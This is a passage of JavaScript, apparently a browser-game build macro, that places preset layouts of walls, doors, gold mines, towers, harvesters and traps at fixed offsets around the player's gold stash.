Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -456, 'Wall', 0);
}
}, 0)
}
Auto.ARTEMISXBASE = function() {
let waitForGoldStash = setInterval(function() {
if (document.querySelectorAll("[data-building]")[10].classList[1] == "is-disabled") {
let stash = Auto.GetGoldStash();
if (stash == undefined) return
let stashPosition = {
x: stash.x,
y: stash.y
}
clearInterval(waitForGoldStash)
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + -48, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + 48, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 240, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 240, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 48, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + -48, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + -240, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + -240, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + -336, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + -432, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + -336, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + -432, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -480, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 336, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 336, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 432, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 432, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 528, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 384, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 480, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + 144, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + 240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 528, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 624, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 624, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 528, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + 240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + -48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + -144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -288, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + -288, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 288, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 480, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + 432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + 240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + 336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + 336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + -336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + -432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + -384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + -480, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + -432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + -336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + -144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + -240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + -336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + -480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + -336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + -240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + 240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + 336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + 144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + 240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + 336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + 480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + 528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + 432, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 192, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -192, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + -192, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 192, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + 432, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 360, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 360, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -360, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -360, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + -144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + 144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 624, stashPosition.y + -48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 624, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + -528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + -528, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + -528, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + -528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -552, 'Wall', 0);
